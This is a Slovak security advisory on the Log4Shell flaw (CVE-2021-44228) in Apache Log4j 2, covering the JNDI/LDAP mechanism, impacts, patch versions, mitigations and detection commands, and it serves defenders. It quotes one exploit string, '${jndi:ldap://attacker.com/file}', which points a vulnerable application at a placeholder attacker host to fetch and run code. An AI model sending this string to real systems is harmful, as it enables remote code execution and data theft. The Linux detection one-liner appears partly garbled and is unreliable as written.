Zraniteľnosť CVE-2021-44228 (Log4Shell)

Dňa 9.12.2021 bola zverejnená informácia o zraniteľnosti knižnice Log4j vo verzii 2 od spoločnosti The Apache Software Foundation. Zraniteľnosť s označením CVE-2021-44228 (Log4Shell, LogJam) a vysokou závažnosťou umožňuje vzdialené spustenie kódu.

Dôsledky:

  • Vzdialené vykonávanie kódu (RCE)

Opis činnosti:

Knižnica Log4j, používaná na vytváranie záznamov (logovanie) v mnohých frameworkoch a aplikáciách vytvorených v jazyku Java, umožňuje dopĺňanie údajov do reťazcov, pričom údaje umožňuje získavať aj použitím rozhrania JNDI. JNDI umožňuje vyhľadávať údaje aj prostredníctvom protokolu LDAP zo vzdialených systémov, pričom v tomto prípade je možné zo vzdialeného systému poskytnúť aj vykonateľný kód. Ak útočník, ktorý ma pod kontrolou svoj LDAP server, môže dosiahnuť, že aplikácia obete sa prostredníctvom zraniteľnej verzie Log4j pokúsi zaznamenať správu obsahujúcu reťazec ${jndi:ldap://attacker.com/file}, knižnica Log4j sa pokúsi pripojiť na útočníkov LDAP server a získať z neho hodnotu a vykonateľný kód, ktorý následne na systéme obete spustí. Aplikácie a v nich použité frameworky môžu logovať mnohé informácie, ktoré im útočník môže poskytnúť aj bez potreby úspešného prihlásenia sa k systému – napr. zaznamenávanie navštívených URL, zaznamenávanie pokusov o prihlásenie s neplatným menom (vrátane zaznamenania použitého neplatného prihlasovacieho mena), zaznamenávanie údajov vyplnených vo voľne dostupnom formulári, a pod. Týmto spôsobom môže útočníkovi stačiť poslať jednoduchú požiadavku systému cez bežne dostupné rozhranie.

Zraniteľné systémy:

Závažnosť zraniteľnosti: Vysoká

Možné škody:

  • Vykonanie spustiteľného kódu v aplikácií bez predchádzajúcej nutnej autentifikácie
  • Exfiltrácia údajov, ku ktorým má kompromitovaná aplikácia prístup
  • Spustenie rôznych typov malvéru
  • Vzdialené ovládanie aplikácie a využitie napríklad pre ťažbu kryptomien

Odporúčania:

Bezodkladná aktualizácia predmetnej knižnice aspoň na verziu 2.17.1 (Java 8), 2.12.3 (Java 7), 2.3.1 (Java 6). Spoločnosť Apache vydala bezpečnostnú záplatu, ktorá je dostupná na webovom sídle tejto knižnice https://logging.apache.org/log4j/2.x/download.html.

V prípade, že zraniteľnú knižnicu Log4j 2 nie je možné aktualizovať,

  • v prípade Log4J 2 vo verziách 2.10 až 2.14.1 je nutné nastaviť:
    • parameter log4j2.formatMsgNoLookups na hodnotu „true“, aby sa funkcia zraniteľnosti deaktivovala. Uistite sa, že tento parameter je nakonfigurovaný v spúšťacích skriptoch Java Virtual Machine: -Dlog4j2.formatMsgNoLookups=true.
    • premennú prostredia LOG4J_FORMAT_MSG_NO_LOOKUPS=”true”, aby si vynútili túto zmenu.
  • správcovia Kubernetes môžu použiť „kubectl set env“ na nastavenie premennej prostredia LOG4J_FORMAT_MSG_NO_LOOKUPS=“true“ na použitie zmiernenia v klastroch Kubernetes, kde aplikácie Java používajú knižnicu Log4j vo verziách 2.10 až 2.14.1, čo sa efektívne automaticky prejaví na všetkých kontajneroch.
  • v prípade Log4J 2 vo verziách 2.0-beta9 do 2.10.0 je zmiernením odstránenie triedy JndiLookup z cesty k triede: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

IoC:

Odporúčame vo Vašej infraštruktúre skontrolovať prítomnosť IoC z nasledovného zoznamu

Detekcia prítomnosti zraniteľnosti:

Pre detegovanie prítomnosti zraniteľnej knižnice Log4j2 nájdete skripty na tomto odkaze

PowerShell

gci 'C:\' -rec -force -include *.jar -ea 0 | foreach {select-string "JndiLookup.class" $_} | select -exp Path

Linux

find / 2>/dev/null -regex ".*.jar" -type f | xargs -I{} grep JndiLookup.class "{}".class "{}" 

Mitigácia:

Odporúčania na zmiernenie dopadov zraniteľnosti nájdete na tomto odkaze

Odkazy: